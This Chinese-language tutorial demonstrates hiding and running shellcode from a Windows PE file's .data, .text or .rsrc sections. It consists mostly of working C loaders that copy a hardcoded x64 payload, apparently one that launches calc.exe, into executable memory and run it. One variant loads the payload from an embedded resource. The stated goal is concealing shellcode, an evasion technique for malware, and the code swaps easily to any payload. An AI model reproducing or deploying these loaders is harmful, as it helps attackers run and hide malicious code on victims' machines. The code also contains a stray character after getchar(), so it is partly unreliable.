利用 PE 文件段 (.data, .text, .rsrc) 注入并隐藏 Shellcode

#include "windows.h"

unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
    void *exec_mem = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, buf, sizeof(buf));

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

const unsigned char buf[] ="...";

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char buf[] ="...";

#include <Windows.h>
#include <stdio.h>
#include "resource.h"

int main() {

    // --- 变量定义 ---
    HRSRC  hRsrc = NULL; // 用于接收资源信息的句柄
    HGLOBAL hGlobal = NULL; // 用于接收已加载资源的全局内存句柄
    PVOID   pPayloadAddress = NULL; // 指向载荷在内存中实际地址的指针
    SIZE_T  sPayloadSize = 0;    // 载荷的大小（字节）

    // --- 步骤 1: 定位资源 ---
    // 在当前模块(NULL)的资源节中，查找由 resource.h 中定义的 ID (IDR_RCDATA1)
    // 和预定义类型 (RT_RCDATA) 标识的资源。
    // RCDATA 代表“原始数据”，是存储任意二进制数据的标准方式。
    hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
    if (hRsrc == NULL) {
        printf("[!] FindResourceW 失败, 错误码: %d\n", GetLastError());
        return -1;
    }
    printf("[+] 资源定位成功, 句柄: %p\n", hRsrc);

    // --- 步骤 2: 加载资源 ---
    // 使用上一步获取的资源句柄，将资源数据加载到内存中。
    // 此函数返回的是一个全局内存对象的句柄，而不是一个直接可读的指针。
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        printf("[!] LoadResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }
    printf("[+] 资源加载成功, 句柄: %p\n", hGlobal);

    // --- 步骤 3: 锁定资源并获取指针 ---
    // 将已加载的资源锁定在内存中，并返回一个指向其数据起始位置的直接指针。
    // 返回的指针是只读的。如果需要修改，应将其内容复制到另一块可写内存中。
    pPayloadAddress = LockResource(hGlobal);
    if (pPayloadAddress == NULL) {
        printf("[!] LockResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }

    // --- 步骤 4: 获取资源大小 ---
    // 获取资源的精确大小（以字节为单位）。这对于后续的内存复制或处理至关重要。
    sPayloadSize = SizeofResource(NULL, hRsrc);
    if (sPayloadSize == 0) { // SizeofResource 成功时返回非零值，失败返回0
        printf("[!] SizeofResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }

    // --- 步骤 5: 打印结果用于验证 ---
    // 显示获取到的载荷内存地址和大小，以确认前面的步骤都已成功执行。
    printf("\n[i] 载荷地址 (pPayloadAddress): 0x%p \n", pPayloadAddress);
    printf("[i] 载荷大小 (sPayloadSize): %zu 字节\n", sPayloadSize); // 使用 %zu 来打印 SIZE_T 类型，更标准
    void* exec_mem = VirtualAlloc(nullptr, sPayloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, pPayloadAddress,sPayloadSize);
    printf("[i] pTmpBuffer var : 0x%p \n", exec_mem);

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    printf("\n[#] 按下 <Enter> 键退出...\n");
    getchar();1
    return 0;
}